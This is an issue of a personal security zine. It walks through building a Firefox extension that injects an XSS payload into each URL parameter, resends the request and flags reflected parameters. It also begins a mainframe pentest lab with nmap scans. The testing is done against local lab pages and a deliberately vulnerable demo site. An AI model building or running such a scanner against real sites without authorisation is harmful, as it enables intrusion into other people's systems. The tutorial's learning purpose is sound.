

2021

Notes Magazine #04




by Cody Sixteen

1/1/2021

Hello World

Well, looks like we're in the Part 4 of the (infamous;)) [Notes Magazine](#). Today we'll talk a little bit about few new topics. I know during Xmas we had almost 120 pages (in [usual](#) we have some about 50) but I'll try to find some [time to prepare more](#) new content for you. ;)

In the meantime let's see what do we have here:



Below you'll find:


1st section – is related to a *new way* ;) of 'browsing the internet' I found few days ago. In **second one part** we'll talk more about HerCoolS. In **3rd one** we'll find a way to see some interesting output on our Kali VM. In the last part this time I tried to learn a bit more about protocol fuzzing.

So? Let's not wait any more! Here we go... ;]

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
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Introduction to the Browsing



Intro

One of the YouTube's channels „related to IT Security” I like to watch from time to time in one of the previous episodes[1] mentioned about so called ‘random topics’. Well. ;> One of them I decided to (modify for my own purposes and) check. So below we'll try to *check* how can we browse the pages (for example: „we were asked to pentest”;)). For now – we should be somewhere here...



I decided to find out how can I *read* the webpage during pentest to get some interesting ideas of how this page can be exploited, what is *visible* for me from this perspective and so on.

I was wondering if I should prepare a pure JS-based webpage or something similar to the webpage based on jQuery... and that's how I landed in a very next section. ;)


Preparing Environment

During this scenario we'll use:

- for sure Ubuntu 20 ISO[2];
- all other files/packages/resources we'll need to step forward I'll mention in the description below;
- and for sure – let's stay on this page[3] .

Ok, your new Ubuntu VM should be ready so far so let's continue below.

I started the console to update and/or install *anything* we'll need (Ubuntu is fresh and clean so first of all I updated it, next I installed *nodejs* and *npm* packages):



Next – according to the documentation[3]:

```

root@ubuntu20: ~
Setting up node-configstore (5.0.1-1) ...
Setting up node-boxen (4.2.0-2) ...
Setting up g++ (4:9.3.0-1ubuntu2) ...
update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto mode
Setting up build-essential (12.8ubuntu1.1) ...
Setting up node-npmlog (4.1.2-2) ...
Setting up node-yargs (15.3.0-1) ...
Setting up node-cacache (11.3.3-2) ...
Setting up node-read-package-json (2.1.1-1) ...
Setting up node-gyp (6.1.0-3) ...
Setting up node-libnpmx (10.2.1-2) ...
Setting up npm (6.14.4+ds-1ubuntu2) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for desktop-file-utils (0.24-1ubuntu2) ...
Processing triggers for mime-support (3.64ubuntu1) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu1) ...
Processing triggers for libc-bin (2.31-0ubuntu9) ...

root@ubuntu20:~#
root@ubuntu20:~# npm install --global web-ext
Br[...] | fetchMetadata: sill resolveWithNewModule web-ext@5.4.1 checking installable status
version number:

Extensions and the Add-on
ID
web-ext --version

User Experience
web-ext will notify you when it is time to update to the newest version. To update your global install, use
the command npm install -g web-ext .

Build a secure extension

```

Checking:

```

Processing triggers for mime-support (3.64ubuntu1) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu1) ...
Processing triggers for libc-bin (2.31-0ubuntu9) ...

root@ubuntu20:~#
root@ubuntu20:~# npm install --global web-ext
npm WARN deprecated core-js@2.6.12: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please,
ur dependencies to the actual version of core-js@3.
npm WARN deprecated js-select@0.6.0: Package no longer supported. Contact support@npmjs.com for more info.
npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
npm WARN deprecated har-validator@5.1.5: this library is no longer supported
npm WARN deprecated jetpack-id@1.0.0: Jetpack extensions are no longer supported by Firefox. Use web-ext instead to build a WebExtension.
npm WARN deprecated fsevents@2.1.3: Please update to v 2.2.x
npm WARN deprecated chokidar@2.1.8: Chokidar 2 will break on node v14+. Upgrade to chokidar 3 with 15x less dependencies.
npm WARN deprecated fsevents@1.2.13: fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.
npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated
npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated
[...] \ extract:lodash.difference: sill extract json-parse-better-errors@1.0.2

```

And after a while if everything goes well we should be able to check the version of installed software:

```

npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated
npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated
web-ext --version
/usr/local/bin/web-ext -> /usr/local/lib/node_modules/web-ext/bin/web-ext

> dtrace-provider@0.8.8 install /usr/local/lib/node_modules/web-ext/node_modules/dtrace-provider
> node-gyp rebuild || node suppress-error.js

Web
root@ubuntu20:~# web-ext --version
5.4.1
Br[...] | fetchMetadata: sill resolveWithNewModule web-ext@5.4.1 checking installable status
version number:

Extensions and the Add-on
ID
web-ext --version

User Experience
web-ext will notify you when it is time to update to the newest version. To update your global install, use
the command npm install -g web-ext .


Build a secure extension

```


So far I think we're ready to prepare a very first extension – „hello world” ;) . Let's do it!

Simple Example


So far our „initial environment” should be ready to start testing our possibilities. Let’s take a quick look for the *extensions-examples* available here^[4]:




I tried to recreate scenario(s) from the links above. After installing all the needed requirements and updating packages we should land somewhere here:




Next I went to the *Options* -> *Debugging* -> *Extensions*. We should be here:




Now, let’s *Load Temporary Add-on...* – like it was presented on the next screen, below:



For now we should be here:



Looks like everything is ok. Checking:



Ok. So far, so good. Of course at this very beginning stage we can still check the documentation^[3] and prepare our „initial/basic extension(s) scenario” – you know... just in case you’d like to practice a little bit more... ;)


A little bit more

Here we'll try to extend our simple extension. Our initial goal is to use the extension to get all the links on the page we're currently visiting. Let's see how it can be achieved.


Let's make a copy of the 'example extension' we found at github[4]:

```
c@ubuntu20: ~/src/Example01
c@ubuntu20:~/src$ ls
broderify Web-Browser-Extension-Template
c@ubuntu20:~/src$ ls broderify/
borderify.js icons manifest.json
c@ubuntu20:~/src$ cp -R broderify/ Example01
c@ubuntu20:~/src$ cd Example01/
c@ubuntu20:~/src/Example01$
c@ubuntu20:~/src/Example01$ ls
borderify.js icons manifest.json
c@ubuntu20:~/src/Example01$
```

Great. Now we can work on our new example. Let's start here:



Our extension is very simple so far, but at this stage I was interested if I'll be able to prepare it as a so called „cross-browser” extension (TL;DR: extension should work for both browsers: Firefox and Chrome):



Next I switched to the Linux console to start: `web-ext run` command:

```
c@ubuntu20: ~/src/Web-Browser-Extension-Template
c@ubuntu20:~/src/Web-Browser-Extension-Template$ web-ext run
Running web extension from /home/c/src/Web-Browser-Extension-Template
Use --verbose or open Tools > Web Developer > Browser Console to see logging
```


As a results we'll see a new browser window (let's say) „only with our extension” - so we can focus on the functionality. Checking:



So far, so good.

Understanding WebExtension API

As we'd like to extend our example extension – we'll stay for a while with the code presented in this resource[4]:



The screenshot shows a GitHub repository page titled "Web Browser Extension Example". The page content includes:

- A header "Web Browser Extension Example" with a subtitle: "Simple cross-browser extension ready for development with jQuery and Bootstrap. Test in Firefox, Chrome, and Chromium."
- A section "Running & Testing" with sub-sections:
 - For Chrome**: "Load the unpacked directory:" followed by a bullet point: "Menu -> More tools -> Extensions -> Turn on Developer Mode -> Load unpacked"
 - For Firefox**: "From the command line, within the plugin directory, run:" followed by a code block:

```
web-ext run
```
- A note at the bottom: "Or, open the browser, go to `about:debugging`, then click "Load Temporary Addon" and choose the `manifest.json` file."

So, for now we should be somewhere here – reading *index.html*:

```
</head>
<body>

  <h1>Hello, world!</h1>

  <!-- End of <body> load scripts -->
  <!-- JS libs -->
  <script src="js/jquery.js"></script>
  <script src="js/bootstrap.js"></script>
  <!-- Custom JS -->
  <script src="js/functions.js"></script>
  <script src="js/global.js"></script>
```

Let's go directly to the file *global.js*. We'll add a basic JavaScript code to check where we can observe some results:

```
$(document).ready(function() {

  notify();


  // Logging happens in plugin not main console
  console.log("test");

});
```

Let's see if that'll help:



Well? No. ;] So I decided to click *Inspect* button:




After reading about the console and the 'extension console' I decided to start all over again. ;]

Preparing first Browser Extension

After few hours I decided to start from the previous example and add the functionality I'm looking for („the goal”);) 'one-by-one'. I believe we can start from this page[5]:




Let's see how to add it to our 'example01' code:



FFFFFFFFFFFFFFFFFFFF...!!!1111111111



...hold on... ;}



Ok. ;> It is a good news! ;} Let's follow the original documentation then:

Toolbar button

Mozilla > Add-ons > Browser Extensions > User interface > Toolbar button

Jump to section


- Specifying the browser action
- Icons
- Examples

Related Topics

Browser extensions

- ▶ Getting started
- ▶ Concepts

Commonly referred to as a **browser action**, this user interface option is a button added to the browser toolbar. Users click the button to interact with your extension.



The toolbar button (browser action) is very like the address bar button (page action). For the differences, and guidance on when to use what, see [Page actions and browser actions](#).

Specifying the browser action

Ok, great. Let's continue to „specify the browser action“:

You define the browser action's properties using the `browser_action` key in manifest.json:

```

"browser_action": {
  "default_icon": {
    "19": "button/geo-19.png",
    "38": "button/geo-38.png"
  },
  "default_title": "Whereami?"
}

```

The only mandatory key is `default_icon`.

Ok, as you can see we already did it before (in example01 and example02). Let's move forward:

There are two ways to specify a browser action: with or without a **popup**. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using `browserAction.onClicked`:

```

browser.browserAction.onClicked.addListener(handleClick);

```

„Get it? Checking a mail...“ ;)

I was wondering „how“ so I decided to follow both links[6, 7]. By the way if you are looking for some cross-browser hints it's also a good idea to (rtfm;) check (for example) this page[6]. Beside the syntax you'll also find with which of the browsers your code will be compatible, for example here:

/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked 60%

Check whether `listener` is registered for this event. Returns `true` if it is listening, `false` otherwise.

addListener syntax

[Report problems with this compatibility data on GitHub](#)

	Desktop					Android
	Chrome	Edge	Firefox	Opera	Safari	Firefox Android
<code>onClicked</code>	Yes	14	45	Yes	14	55
<code>OnClickData</code>	No	No	72	No	No	79
<code>tab</code>	Yes	14	45	Yes	14	55

Full support
 No support

Anyway, let's continue here (still basing on DevDungeon's example web template[8]):

```

Template based on DevDungeon example",
ns.html", // for all the page; ff don't like it
refox
s.html", // Chrome only, full page

<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>code sixteen browser extension</title>

<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/bootstrap-theme.min.css" rel="stylesheet">
<!-- Custom Styles -->
<link href="css/global.css" rel="stylesheet">

</head>
<body>

  <h1>Hello, Cody ;</h1>

```


So far, so good. Let's try it from the Ubuntu's desktop perspective, switch:

```


c@ubuntu20: ~/src/Example03
c@ubuntu20:~$ cd src/Example03/
c@ubuntu20:~/src/Example03$ ls
borderify.js  icons  index.html  js  manifest.json
c@ubuntu20:~/src/Example03$ web-ext run
Running web extension from /home/c/src/Example03
a: Error parsing manifest.json file at /home/c/src/Example03/manifest.json: JSONError: Unexpected token } in JSON at position 653 while parsing near
}  ]}'
34 |
35 |
36 |   }
37 | ]
38 | }
39 |
c@ubuntu20:~/src/Example03$

```


Mhm, sure. :7




Now looks better. ;) Let's continue here:



Well, HTML code indeed is visible when user will click the extension button but we still can see some errors in the extension's console. Let's try to fix that:



Ctrl+R to reload `web-ext` and we should be here:



As far as the error-with-‘CSP: page settings blocked’ should be easy to guess „why” – „for temporary loaded extensions there is a CSP rule; you can change it in manifest.json” afaik ;). But let’s check what about that [webkitNotifications\[3\]](#):

```

X OI /
ame   Last modified Size Description
c@ubuntu20: ~/src/Example03
'Hello!', // notification title
'Lorem ipsum...' // notification body text
);


// Then show the notification.
//notification.show();
//
// Let's check if the browser supports notifications
if (!("Notification" in window)) {
  alert("This browser does not support desktop notification");

/ Let's check whether notification permissions have already been granted
lse if (Notification.permission === "granted") {
  // If it's okay let's create a notification
  var notification = new Notification("Hi there!");

/ Otherwise, we need to ask the user for permission
lse if (Notification.permission !== "denied") {
  Notification.requestPermission().then(function (permission) {
    // If the user accepts, let's create a notification
    if (permission === "granted") {
      var notification = new Notification("Hi there!");
    }
    else
      alert("Dunno, but works!");
  });
});


```

Ctrl+R and checking... and errors again. ;Z So I decided to clear the whole `notify()` function and rewrite using one other example I found on the documentation[3]. Results (as well as the source I used) you’ll find on the next screen below:



Looks better! ;) (Read as: we can see some „valid(?) responses” from the code, so – yeah, it’s good). We can continue below. But according to the „mess” in the code I decided to switch to some easier example.

I decided to move to example more related to my initial goal:




Yeah. ;) Checking th details about *onBeforeRequest*:




Well, ok.

Next we are here, checking our updated extension:



Well, well, well... ;) It works! ;D ...but as you can see – the button of our extension disappeared. :(

Current code looks like below:



More to try:

Status	Method	Domain	File	Cause	Type	Transferred	Size	0 ms	1.3
200	GET	localhost	/SuperWeb/	document	html	703 B	9...	2 ms	
200	GET	localhost	/SuperWeb/	document					
404	GET	localhost	Favicon.ico	img	html	cached	2...	0 ms	
200	OPTIONS	localhost	/SuperWeb/	document	unix...	229 B	0 B	4 ms	
404	POST	localhost	/SuperWeb/	document	html	488 B	2...	7 ms	

Method : GET
Referred from http://localhost/SuperWeb/
Loading: http://localhost/SuperWeb/
Document URL: http://localhost/SuperWeb/
Method : OPTIONS
Referred from http://localhost/SuperWeb/
Loading: http://localhost/SuperWeb/
Document URL: http://localhost/SuperWeb/
Method : POST

Ok, let's first of all fix that hidden button. ;) Here we go...

Let's go back to the source code – we should be here:

```

c@ubuntu20: ~/src/Example02
ubuntu20:~/src/Example02$ ls -l
total 36
-rw-r--r-- 1 c c 256 gru 22 13:31 autoupdater_updates.xml
-rwxr-xr-x 2 c c 4096 gru 22 13:31 css
-rwxr-xr-x 2 c c 4096 gru 22 13:31 fonts
-rwxr-xr-x 2 c c 4096 gru 22 13:31 img
-rw-r--r-- 1 c c 814 gru 22 15:54 index.html
-rwxr-xr-x 2 c c 4096 gru 22 15:54 js
-rw-r--r-- 1 c c 654 gru 22 19:44 manifest.json
-rw-r--r-- 1 c c 1197 gru 22 13:31 options.html
-rw-r--r-- 1 c c 1470 gru 22 13:31 README.rst
ubuntu20:~/src/Example02$ 

c@ubuntu20: ~/src/Example04
c@ubuntu20:~/src/Example04$ vim background.js
c@ubuntu20:~/src/Example04$ ls -l
total 8
-rw-rw-r-- 1 c c 499 gru 22 19:44 background.js
-rw-rw-r-- 1 c c 240 gru 22 17:07 manifest.json
c@ubuntu20:~/src/Example04$ 

```

Let's make a quick *diff* ;) First of all:

```

"manifest_version": 2,
"name": "Chrome Extension Template 610",
"description": "Extension template based on DevDungeon example",
"version": "61.0",

// "options_page": "options.html", // for all the page; ff don't like it
// tiny modal ui
"options_ui": { // for firefox
  "page": "options.html",
  "chrome_style": true
},
// "options_page": "options.html", // Chrome only, full page

"permissions": [
  "storage",
  "tabs",
  "notifications"
],
"omnibox": { "keyword": "code16" },
"browser_action": {
  "default_icon": "img/Firefox.ico",
  "default_popup": "index.html"
}

"description": "Demonstrating webRequests",
"manifest_version": 2,
"name": "webRequest-demo",
"version": "1.0",

"permissions": [
  "webRequest",
  "<all_urls>"
],

"background": {
  "scripts": ["background.js"]
}

```

Indeed – looks like we have something to fix ;) After a while – my „current” *manifest.json* file is presented on the screen below:

```

{
  "description": "Demonstrating webRequests",
  "manifest_version": 2,
  "name": "webRequest-demo",
  "version": "1.0",

  "permissions": [
    "storage",
    "notifications",
    "tabs",
    "webRequest",
    "<all_urls>"
  ],


  "background": {
    "scripts": ["background.js"]
  },
  "browser_action": {
    "default_icon": "img/img.ico",
    "default_popup": "index.html"
  }
}

```

Ok, before we'll switch to desktop again, let's also create some basic *index.html* file in the directory of our extension, like this:


```
c@ubuntu20: ~/src/Example04
<html><title>hello world</title>
  <body>
    <h1>hello ;]</h1>
  </body>
</html>
```

Now we're ready to refresh the status on Ubuntu-desktop ;) Let's continue here (with Ctrl+R of course ;)):



Great! (Next thing to fix will be adding to index.html some encoding but we'll do that in the next iteration of our rewrite ;).) So far our super-extension can grab links to all resources that are loaded when we are visiting our *target-page*. (It looks pretty similar to the 'attack scenario' I presented few weeks ago on the blog[9].) As you can see we have our icon back too. ;]

So I think we can move forward. Current code after a little update looks like below:



Looks nice, but why am I see the loop in the log file that is adding another-and-another-xxxx string to the requests?

```
xxxxx HTTP/1.1" 404 487 "-" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:24 +0100] "GET /icons/text.gif" HTTP/1.1
xxxxx HTTP/1.1" 404 487 "-" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:24 +0100] "GET /SuperWeb/?C=M;O=A" HTTP/1.1
xxxxx HTTP/1.1" 200 703 "-" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:24 +0100] "GET /SuperWeb/?C=M;O=A" HTTP/1.1
03 "http://localhost/SuperWeb/" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:26 +0100] "GET /icons/blank.gif" HTTP/1.1
"http://localhost/SuperWeb/?C=M;O=A" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:26 +0100] "GET /icons/back.gif" HTTP/1.1
"http://localhost/SuperWeb/?C=M;O=A" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
7.0.0.1 - - [22/Dec/2020:20:25:26 +0100] "GET /icons/text.gif" HTTP/1.1
"http://localhost/SuperWeb/?C=M;O=A" Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
```

Probably I missed something like timeout or 'visited' checkmark. Let's see how can we fix that.

But first of all (after last 16h with the Manual:




): it's time for a little break... ;)

Preparing second Browser Extension

Here we'll focus mostly on Firefox and updating the script from previous section. So let's move forward. At this stage I decide to follow the manual[5] and continue with our example extension.

Let's start here:



Updating our current script (after we'll make a backup/copy;) and we should be here:


```
c@ubuntu20: ~/src/Example06
//let currentTab = null;
//browser.tabs.onActivated.addListener(( event ) => currentTab = event.tabId); //console.log(event.tabId));
// update every second
//setInterval(updateBrowseTime, 1000);
function logListener(info){
  try{
    let tabInfo = await browser.tabs.get(info.tabId);
    console.log(tabInfo);

    let newtab = await browser.tabs.create({"url":"http://localhost/qwe"});
    open(newtab);

  }catch(error){
    console.error(error);
  }
}
browser.tabs.onActivated.addListener(logListener);
```


Can you see it? Well, let me know what is the result of running this code with your *web-ext*, ok? I'll wait... ;]

After a while I decided to start all over again but this time I started from examples available in the manual pages[3]. Like this one:




So far, so good. (At this stage I recommend you reading more about the functions described in the documentation[3]. For me it was a lot of fun so maybe you'll find it useful too. ;))

Let's move forward (as you can see I modified *manifest.json* file to update *permissions* section):




Cool. Next file is presented below:



As you can see to continue with the example presented above you'll also need to share the *firefox.ico* file using your 'favourite webservice' ;)


Ctrl+R in Ubuntu and we should see something like this:




Cool. ;) So far, so good. Let's move forward. In the meantime I found another (in my opinion;) interesting links you should read – here you have it[[10](#), [11](#)]. Ok. We'll continue with *tabs* – I decided to stay here a little bit longer ;) So:



Let's see what do we have here:



Next:



Ok, next: change POST method to GET to grab it in our basic-example:

```

root@ubuntu20: /home/c/src/bonus01


<html><head><title>asd</title></head>

<body>
<?php
    if(!isset($_GET['submit'])){
    } else {
        echo "<p>";
        echo "Name : $name <br>";
        echo "</p>";
    }
}
</body></html>

root@ubuntu20:/home/c/src/bonus01# cp /var/www/html/in2.php /var/www/html/in
in2.php index2.html
root@ubuntu20:/home/c/src/bonus01# cp /var/www/html/in2.php /var/www/html/in3.php
root@ubuntu20:/home/c/src/bonus01# cat /var/www/html/in3.php

```


Rewriting and Checking:




Looks good.

Now we need to 'parse' each link to get every parameter, rewrite it's value to „our example payload“ and resend it in the end to receive the response and decide if this 'request'/URL is vulnerable to XYZ-attack or not. Let's try to do that below.


We'll start here:



So far, so good. Let's modify our code to catch (as an example ;) the parameter called *name*:




Ok, looks good! Let's continue below:



Good. So far we are able to:

- list the link(s) on page we are visiting
- grab all the parameters we can reach in the mentioned 'links'
- print the key:value pair (parameter and the value, ex.: `?name=tester`).


Ok. Good. But how can we use that *functionality* „so far“? ;> Let's try it here:



It should be good as an initial example 'target webpage'. So let's continue below. Checking (Ctrl+R):


Webconsole context has changed	
Tab ID	: 6
Tab title	: search
Tab hostname	: testphp.vulnweb.com
Tab URL	: http://testphp.vulnweb.com/search.php?test=query
query test	
Tab ID	: 6
Tab title	: search
Tab hostname	: testphp.vulnweb.com
Tab URL	: http://testphp.vulnweb.com/search.php?test=query
query test	
Tab ID	: 6
Tab title	: search
Tab hostname	: testphp.vulnweb.com
Tab URL	: http://testphp.vulnweb.com/search.php?test=%27%3E%22%3E%3Ch1%3Esie%3Cbr%3Ema2
'>"<h1>sie ma2 test	
Tab ID	: 6
Tab title	: search
Tab hostname	: testphp.vulnweb.com
Tab URL	: http://testphp.vulnweb.com/search.php?test=query
query test	

Ok, ok... „Almost good“ (but still „not enough“, isn't it?;)). So, for example – from the browser perspective we should be able to 'see' the response presented on the screen below:



Good, but I was wondering ‘how can we see’ the same ‘response’ from the *webextensions* „point of view“? ;) (TL;DR: it should help us to extract some *interesting responses* – for example those contains some hints related to XSS/SQLI/etc bugs, right?;))


So:




Ok, as we can see we need to extract the response after the page is reloaded (with our example-extension).

As far as I remember from the docs[3] – in webextensions we have something similar to the *intercept* in Burp Suite proxy – let’s try to find it and add it to our extension’s code.

Goal? Modify any request to add our super-payload (like, `<script>lam3r(was)</here>`, etc;)). Here we go: I created a new project based on this page:



Let's continue here:



Looks like we started from the beginning... ;S But as we can see we have a little bit more/different links in the list now too. So cool. We'll use it somehow anyway. ;] Next I found this interesting part of the article:

://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests 80%

Modifying request headers

Finally we'll use `webRequest` to modify request headers. In this example we'll modify the "User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting pages under `http://useragentstring.com/`.

The "manifest.json" can stay the same as in the previous example.

Replace "background.js" with code like this:

```
var targetPage = "http://useragentstring.com/*";

var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";

function rewriteUserAgentHeader(e) {
  e.requestHeaders.forEach(function(header){
    if (header.name.toLowerCase() == "user-agent") {
      header.value = ua;
    }
  });
  return {requestHeaders: e.requestHeaders};
}

browser.webRequest.onBeforeSendHeaders.addListener(
  rewriteUserAgentHeader,
  {urls: [targetPage]},
  ["blocking", "requestHeaders"]
);
```

So it looks like we need to do pretty the same but for the parameters („if found any“). Let's try below. First of all I decided to check the example code prepared by MDN[12]. So we should be here:

```
c@ubuntu20: ~/src/bonus01
return;

let hostname = new URL(tabInfo.url).hostname;
var url = tabInfo.url;

console.log("-----");
console.log("Tab ID      : " + tabInfo.id);
console.log("Tab title   : " + tabInfo.title); // .url);
console.log("Tab hostname : " + hostname);
console.log("Tab URL     : " + tabInfo.url);

let params = (new URL(tabInfo.url)).searchParams;
var searchParams = new URLSearchParams(params);
//let name = params.get('name'); // get specific param name, ex "name"
//let submitted = params.get('submit');
//console.log(name);
searchParams.forEach(function(value, key) {
  const parsedUrl = new URL(tabInfo.url);
  //console.log(parsedUrl.searchParams.get(key)); // param name

  //console.log("Key => " + key + " and value is: " + value);
  //console.log(tabInfo.url.body);
  value = value + "asdasd";
  console.log("New value = " + value);
  console.log(" -> resend : ");


  //new_req = new Request(parsedUrl);
  //console.log(new_req);

  console.log("----- end -----");
});


} catch (error) {
  console.error(error);
}

browser.tabs.onActivated.addListener(logListener);
```


Quick results:




Next I decided to see if our request is indeed visible in the logs:



Next I continued with the browsing:



Results from Apache's log file:



Let's continue here:

```

let tabInfo = await browser.tabs.get(info.tabId);
if(!tabInfo.url.startsWith('http'))
    return;

let hostname = new URL(tabInfo.url).hostname;
var url = tabInfo.url;

console.log("-----");
console.log("Tab ID      : " + tabInfo.id);
console.log("Tab title   : " + tabInfo.title); // .url);
console.log("Tab hostname : " + hostname);
console.log("Tab URL     : " + tabInfo.url);

let params = (new URL(tabInfo.url)).searchParams;
var searchParams = new URLSearchParams(params);
//let name = params.get('name'); // get specific param name, ex "name"
//let submitted = params.get('submit');
//console.log(name);
searchParams.forEach(function(value, key) {
    const parsedUrl = new URL(tabInfo.url);
    //console.log(searchParams.set(key, "hehe"));
    const payload = ">\<<script>alert(1)</script>";
    console.log(searchParams.set(key, payload));
    searchParams.toString();
    //console.log(parsedUrl.searchParams.get(key)); // param name

    //console.log("Key => " + key + " and value is: " + value);
    //console.log(tabInfo.url.body);


    //value = value + "asdasd";
    //console.log("New value = " + value);
    //console.log(" -> resend : ");

    //new_req = new Request(parsedUrl);
    //console.log(new_req);
    const newUrl = "http://" + hostname + '/in2.php?' + searchParams.toString();
    const response = fetch(new URL(newUrl));


});
console.log("----- end -----");
background.js" 58L, 1668C written

```


Checking very first results:



Ok, looks good. Checking console:




Not so good, but better than the last time ;) Let's continue below to see if we grabbed the response:



Ok – let’s say „we have it”. But we need something more. I decided to quickly add something that will help us to identify (and print) only the parameters „vulnerable” to our „attack” (read as: if there is an echo-back of our *payload* in the response page):

```
Webconsole context has changed
-----
Tab ID      : 4
Tab title   : asd
Tab hostname : 192.168.1.10
Tab URL     : http://192.168.1.10/in2.php?name=qew&submit=submit
undefined
----- end -----
!!!! Found XSS for param: name !!!!
!!!! Found XSS for param: submit !!!!
```

If you would like to continue reading about WebExtensions[10] feel free to check also WebGoat to verify your results ;)



The screenshot shows a browser window displaying the GitHub repository for WebGoat. The page content includes instructions on how to start WebGoat as a Docker container. A code block contains the command: `docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf`. Below the code, it states: "WebGoat will be located at: <http://127.0.0.1:8080/WebGoat> WebWolf will be located at: <http://127.0.0.1:9090/WebWolf>".

Overlaid on the bottom right of the screenshot is a terminal window from an Ubuntu VM. The terminal shows the execution of the Docker command: `root@ubuntu20: ~# docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf`. The output indicates that the image 'webgoat/goatandwolf:latest' was not found locally and is being pulled from Docker Hub. The terminal shows progress for downloading the image layers, with the total size being 4.373MB out of 22.5MB.

To not spoil it for you too much – I won’t release the source of this extension. I believe it will help you to read the documentation[10] and have more fun with your own ‘private research’. ;)

Enjoy!

Reference

Links and resources I found interesting when I was preparing this article:

[1 – „Random Topics” \(Stream 111\)](#)

[2 – Download Ubuntu](#)

[3 - MDN](#)

[4 - Extensions-Examples](#)

[5 – User interface](#)

[6 - onClicked](#)

[7 - Popups](#)

[8 – DevDungeon resources](#)

[9 - Wooper](#)

[10 – Basic Anatomy](#)

[11 – Background scripts](#)

[12 – HTTP Request](#)

Her Cool S (too)



Intro

Last time we had some *introduction* to the MainFrames[1]. Today we'll try to extend an environment described in previous episode and prepare some 'new' scenario to learn how to attack (and protect of course;) the „mainframe machine“. To continue this series – we'll start here:

```
cmd;
addr_t data;

error = 0;

switch (cmd) {

case SIOCSIFADDR:
    ifp-&gt;if_flags |= IFF_UP;
    /*
     * Everything else is done at a higher level.
     */
    break;
```

Environment


Similar to the last case[1] today we'll use:

- Windows 10 (I used x86)
- Hercules Emulator (version: 3.07[2])
- Kali Linux (2.0 as an our base/jumphost).

!!! Spoiler alert: because Windows just love to update each time you are not watching it or working with it – remember to disable updates at every possible place that is known for you.

„You'll thank me later.“ ;) But TBH – it should save you 'some time' (read as: few lost hours wasted for waiting for pointless updates...)*. So... ;]

If we'll need anything else – I'll note it down below. For now we should be somewhere here:



*(yep, screen above was created when I already reinstalled Windows10 VM with disabled network adapter; after reboot, it asked for a 40minutes updates... I decided it will be faster to reinstall it from the beginning ;S Anyway... ;))


Currently

For now (after we are „sure” that we disabled every possible ‘automatic updates’ ;)) we can continue from this stage:

- we already have an access to the „client’s internal environment” (internal pentest or some similar project, you know ;))

- we found a mainframe box.

Ok. Let’s see what we’ve done so far[1]. Last time – let’s say – we were here:



```
Code16 - Notes.Magazin... x
Completed SYN Stealth Scan at 18:57, 2.04s elapsed (1 total ports)
Initiating Service scan at 18:57
Initiating OS detection (try #1) against 192.168.1.52
Initiating Traceroute at 18:57

the current settings (read as: default installation) we should see the results similar to the one
represented one the screen below:


Initiating NSE at 18:57
Completed NSE at 18:57, 0.00s elapsed
Nmap scan report for 192.168.1.52
Host is up, received user-set (0.00026s latency).
Scanned at 2020-12-06 18:57:45 EST for 12s

PORT      STATE SERVICE REASON VERSION
3270/tcp  filtered verismart no-response
Warning: OSScan results may be unreliable because we could not find at least 1
OS details: Actiontec MIA424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3
ice
TCP/IP fingerprint:
OS:SCAN(V=7.80XE-4ND-12/68OT-XCT-3CU-XPV-YIG-NMTH-SFC07005XP=i686-pc-linux-
OS:gnu)T6(R=YXDF=INTG=889M-7FFFXS=ASA=ZNF=RWO=ARD=0XQ=)U1(R=N)IE(R=N)

TRACEROUTE (using proto 1/icmp)
  hop  rtt      address
  0:  0.55 ms  192.168.111.2
  1:  ---  20
  2:  ---  20
  3:  592.06 ms 192.168.1.10

deed – verismart. ;) Let’s see what we can do about it:
99 / 116 100%
```

Today we’ll start from this point. Currently we should be somewhere here:



```
Win10Her (Migawka 1 - hercules installed; ready2go) [Uruchomiona] - Oracle VM VirtualBox
c@kali: ~/pwn
c@kali:~/pwn$ nmap -sV -vvv -p 3270,8081 -n -Pn --max-retries 1 --min-rate 120 -
A 192.168.1.10 -oN mineframez.log
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-23 20:32 EST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:33
